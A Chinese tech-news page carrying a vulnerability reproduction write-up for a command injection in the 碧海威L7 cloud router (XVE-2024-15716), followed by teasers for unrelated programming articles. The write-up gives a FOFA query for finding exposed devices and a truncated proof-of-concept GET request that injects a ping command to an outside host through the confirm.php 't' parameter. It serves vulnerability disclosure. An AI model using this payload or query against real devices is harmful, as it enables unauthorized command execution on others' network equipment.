当前位置： 首页 > news >正文

碧海威L7云路由无线运营版 confirm.php/jumper.php 命令注入漏洞复现(XVE-2024-15716)

news 2025/6/23 9:30:10

0x01 产品简介

碧海威L7网络设备是 北京智慧云巅科技有限公司下的产品，基于国产化ARM硬件平台，采用软硬一体协同设计方案，释放出产品最大效能，具有高性能，高扩展，产品性能强劲，具备万兆吞吐能力，支持上万用户同时在线等高性能。其采用简单清晰的可视化WEB管理界面，支持最新HTML5，方便移动设备访问管理，分级别多层次管理模块，使用简单，维护方便;设备状况、网络流量一目了然，一键备份/恢复，让网络管理更简单。是为酒店、度假村、商场和车站等商用无线管理者独身订造的专用网络设备，具备路由、防火墙、流控、无线AC控制器、微信认证等多项功能。

0x02 漏洞概述

碧海威L7 confirm.php、jumper.php接口处存在RCE漏洞，恶意攻击者可能利用此漏洞执行恶意命令，获取服务器敏感信息，最终可能导致服务器失陷。

0x03 影响范围

碧海威科技-L7

0x04 复现环境

FOFA：app="碧海威科技-L7云路由"

0x05 漏洞复现

PoC-1

GET /notice/confirm.php?t=;ping%20fwvjytharz.dgrh3.cn HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*
User-Agent: Mozilla/5.0 (Windows NT

相关文章：

碧海威L7云路由无线运营版 confirm.php/jumper.php 命令注入漏洞复现(XVE-2024-15716)

0x01 产品简介 碧海威L7网络设备是 北京智慧云巅科技有限公司下的产品，基于国产化ARM硬件平台，采用软硬一体协同设计方案，释放出产品最大效能，具有高性能，高扩展，产品性能强劲，具备万兆吞吐能力，支持上万用户同时在线等高性能。其采用简单清晰的可视化WEB管理界面，支持…...

编程日记 2024/7/1 0:04:53

redis实战-添加商户缓存

为什么要使用缓存 言简意赅：速度快，好用缓存数据存储于代码中，而代码运行在内存中，内存的读写性能远高于磁盘，缓存可以大大降低用户访问并发量带来的服务器读写压力实际开发中，企业的数据量，少…...

编程日记 2024/7/1 0:03:52

SQL游标的基本使用方法与示例

SQL游标的基本使用方法与示例 大家好，我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编，也是冬天不穿秋裤，天冷也要风度的程序猿！今天我们来探讨SQL游标的基本使用方法及示例。在数据库编程中，游标是一…...

编程日记 2024/6/30 23:58:47

还不知道工业以太网和现场总线区别???

工业以太网 工业以太网是一种专为工业环境设计的网络通信技术，它基于标准的以太网技术，但针对工业应用进行了优化。工业以太网能够适应高温、低温、防尘等恶劣工业环境，采用TCP/IP协议，与IEEE 802.3标准兼容，并在应用层…...

编程日记 2024/6/30 23:56:46

量化交易 - 策略回测

策略回测 1、什么是策略回测？2、策略回测的作用3、策略回测系统概述3.1策略回测中相关的指标介绍3.2量化交易策略的资金容量3.3 完整的策略回测系统包含哪些内容 1、什么是策略回测？ 策略回测，也称之为策略回溯测试，是指利用交易…...

编程日记 2024/6/30 23:54:43

Java--选择排序

思想 从左向右遍历数组，让每个数组元素依次作为基准，将基准数组扫描一次，若有元素比基准小则标记这个元素，若后续元素存在比此元素更小的，则标记更小的元素，遍历完此次数组之后，交换基准和标记数…...

编程日记 2024/6/30 23:53:42

Python基础之模块和包

文章目录 1 模块和包1.1 模块和包1.1.1 模块1.1.2 包1.1.3 简单使用 1.2 import 语句1.2.1 import1.2.2 from … import 语句1.2.3 from … import * 语句 1.4 深入模块1.4.1 模块符号表1.4.2 __name__属性1.4.3 dir() 函数1.4.4 作用域 1.5 常用内置模块 1 模块和包 1.1 模块…...

编程日记 2024/6/30 23:51:40

基于SpringBoot漫画网站系统设计和实现(源码+LW+调试文档+讲解等)

💗博主介绍：✌全网粉丝10W,CSDN作者、博客专家、全栈领域优质创作者，博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌💗 🌟文末获取源码数据库🌟 感兴趣的可以先收藏起来，…...

编程日记 2024/6/30 23:50:39

Mysql----表的约束

提示：以下是本篇文章正文内容，下面案例可供参考 一、表的约束 表的约束：表中一定要有约束，通过约束让插入表中的数据是符合预期的。它的本质是通过技术手段，让程序员插入正确的数据，约束的最终目标是保证…...

编程日记 2024/6/30 23:48:37

如何用 PHP 实现一个自定义爬虫框架

随着互联网的不断发展，信息量爆炸式增长，获取有价值的信息已经成为了许多人的需求。在这样的大环境下，爬虫技术逐渐兴起，成为了大数据时代的重要工具之一。爬虫技术的应用十分广泛，其可以用于网络舆情监测、数据分析、…...

编程日记 2024/6/30 23:46:34

【机器学习】机器学习的重要方法——强化学习：理论，方法与实践

目录 一、强化学习的核心概念 二、强化学习算法的分类与示例代码 三.强化学习的优势 四.强化学习的应用与挑战 五、总结与展望 强化学习：理论，方法和实践 在人工智能的广阔领域中，强化学习（Reinforcement Learning, RL&…...

编程日记 2024/6/30 23:45:33

Linux磁盘监控思路分析

磁盘监控原理 设备又名I/O设备，泛指计算机系统中除主机以外的所有外部设备。 1.1 计算机分类 1.1.1 按照信息传输速度分： 1.低速设备：每秒传输信息仅几个字节或者百个字节，如：键盘、鼠标等 2.中速设备&#xff1a…...

编程日记 2024/6/30 23:44:32

pc端制作一个顶部固定的菜单栏

效果 hsl颜色 hsl颜色在css中比较方便 https://www.w3school.com.cn/css/css_colors_hsl.asp 色相（hue）是色轮上从 0 到 360 的度数。0 是红色，120 是绿色，240 是蓝色。饱和度（saturation）是一个百分比值…...

编程日记 2024/6/30 23:43:31

ONLYOFFICE 8.1版本桌面编辑器深度体验：创新功能与卓越性能的结合

ONLYOFFICE 8.1版本桌面编辑器深度体验：创新功能与卓越性能的结合 随着数字化办公的日益普及，一款高效、功能丰富的办公软件成为了职场人士的必备工具。ONLYOFFICE团队一直致力于为用户提供全面而先进的办公解决方案。最新推出的ONLYOFFICE 8.1版本桌面编…...

编程日记 2024/6/30 23:42:30

使用Java连接数据库并且执行数据库操作和创建用户登录图形化界面（2）

（1）在student数据库上创建一个用户表tb_account，该表包含用户id，用户名和密码。 字段名称 数据类型 注释 约束 user_id Char(8) 用户id 主键 user_name char(10) 用户名 不能为空 password char(10) 密码 默认值&a…...

编程日记 2024/6/30 23:41:27

socket编程常见操作

1、连接的建立 分为两种：服务端处理接收客户端的连接；服务端作为客户端连接第三方服务 //作为服务端 int listenfd socket(AF_INET, SOCK_STREAM, 0); bind(listenfd, (struct sockaddr*)&servaddr, sizeof(servaddr))) listen(listenfd, 10); //…...

编程日记 2024/6/30 23:39:26

springcloud-config git配置源加载（部署公钥问题）

使用gitUrl作为配置源 gitee 或者github 中有类似于发布密钥的功能，允许通过私钥只读访问指定的仓库，文档中说的是 限制了git的操作为pull 和 clone。生成私钥的方式文档连接在此 https://gitee.com/help/articles/4181#article-header0 spring config只…...

编程日记 2024/6/30 23:38:24

华为OD机考题HJ24 合唱队

前言 应广大同学要求，开始以OD机考题作为练习题，看看算法和数据结构掌握情况。有需要练习的可以关注下。 描述 N 位同学站成一排，音乐老师要请最少的同学出列，使得剩下的 K 位同学排成合唱队形。 设𝐾K位同学从左到…...

编程日记 2024/6/30 23:37:23

基于bootstrap的12种登录注册页面模板

基于bootstrap的12种登录注册页面模板，分三种类型，默认简单的登录和注册，带背景图片的登录和注册，支持弹窗的登录和注册页面html下载。 微信扫码下载...

编程日记 2024/6/30 23:36:22

【劳德巴赫 Trace32 高阶系列 3.1 -- trace32 svf 文件操作与 InitState】

文章目录 SVF InitStateJTAG 状态机JTAG Test-Logic-ResetJTAG Run-Test-IdleSVF InitState Format: JTAG.PROGRAM.SVF <file> [/<option>] <option>: IRPRE <value>IRPOST <value>DRPRE <value>DRPOST <value<...

编程日记 2024/6/30 23:35:21

Vim 调用外部命令学习笔记

Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...

编程新知 2025/6/15 18:44:30

脑机新手指南（八）：OpenBCI_GUI：从环境搭建到数据可视化（下）

一、数据处理与分析实战 &#xff08;一&#xff09;实时滤波与参数调整 基础滤波操作 60Hz 工频滤波&#xff1a;勾选界面右侧 “60Hz” 复选框&#xff0c;可有效抑制电网干扰&#xff08;适用于北美地区&#xff0c;欧洲用户可调整为 50Hz&#xff09;。 平滑处理&…...

编程新知 2025/6/21 17:27:56

k8s从入门到放弃之Ingress七层负载

k8s从入门到放弃之Ingress七层负载 在Kubernetes&#xff08;简称K8s&#xff09;中&#xff0c;Ingress是一个API对象&#xff0c;它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress&#xff0c;你可…...

编程新知 2025/6/18 13:47:59

（二）TensorRT-LLM | 模型导出（v0.20.0rc3）

0. 概述 上一节 对安装和使用有个基本介绍。根据这个 issue 的描述&#xff0c;后续 TensorRT-LLM 团队可能更专注于更新和维护 pytorch backend。但 tensorrt backend 作为先前一直开发的工作&#xff0c;其中包含了大量可以学习的地方。本文主要看看它导出模型的部分&#x…...

编程新知 2025/6/15 11:31:14

屋顶变身“发电站” ，中天合创屋面分布式光伏发电项目顺利并网！

5月28日&#xff0c;中天合创屋面分布式光伏发电项目顺利并网发电&#xff0c;该项目位于内蒙古自治区鄂尔多斯市乌审旗&#xff0c;项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站&#xff0c;总装机容量为9.96MWp。 项目投运后&#xff0c;每年可节约标煤3670…...

编程新知 2025/6/18 20:49:21

MODBUS TCP转CANopen 技术赋能高效协同作业

在现代工业自动化领域&#xff0c;MODBUS TCP和CANopen两种通讯协议因其稳定性和高效性被广泛应用于各种设备和系统中。而随着科技的不断进步&#xff0c;这两种通讯协议也正在被逐步融合&#xff0c;形成了一种新型的通讯方式——开疆智能MODBUS TCP转CANopen网关KJ-TCPC-CANP…...

编程新知 2025/6/21 10:25:07

Java 加密常用的各种算法及其选择

在数字化时代&#xff0c;数据安全至关重要&#xff0c;Java 作为广泛应用的编程语言&#xff0c;提供了丰富的加密算法来保障数据的保密性、完整性和真实性。了解这些常用加密算法及其适用场景&#xff0c;有助于开发者在不同的业务需求中做出正确的选择。​ 一、对称加密算法…...

编程新知 2025/6/16 5:44:09

C/C++ 中附加包含目录、附加库目录与附加依赖项详解

在 C/C 编程的编译和链接过程中&#xff0c;附加包含目录、附加库目录和附加依赖项是三个至关重要的设置&#xff0c;它们相互配合&#xff0c;确保程序能够正确引用外部资源并顺利构建。虽然在学习过程中&#xff0c;这些概念容易让人混淆&#xff0c;但深入理解它们的作用和联…...

编程新知 2025/6/21 18:24:14

免费数学几何作图web平台

光锐软件免费数学工具&#xff0c;maths,数学制图&#xff0c;数学作图&#xff0c;几何作图&#xff0c;几何&#xff0c;AR开发,AR教育,增强现实,软件公司,XR,MR,VR,虚拟仿真,虚拟现实,混合现实,教育科技产品,职业模拟培训,高保真VR场景,结构互动课件,元宇宙http://xaglare.c…...

编程新知 2025/6/21 17:49:08

全面解析数据库：从基础概念到前沿应用​

在数字化时代&#xff0c;数据已成为企业和社会发展的核心资产&#xff0c;而数据库作为存储、管理和处理数据的关键工具&#xff0c;在各个领域发挥着举足轻重的作用。从电商平台的商品信息管理&#xff0c;到社交网络的用户数据存储&#xff0c;再到金融行业的交易记录处理&a…...

编程新知 2025/6/21 9:22:39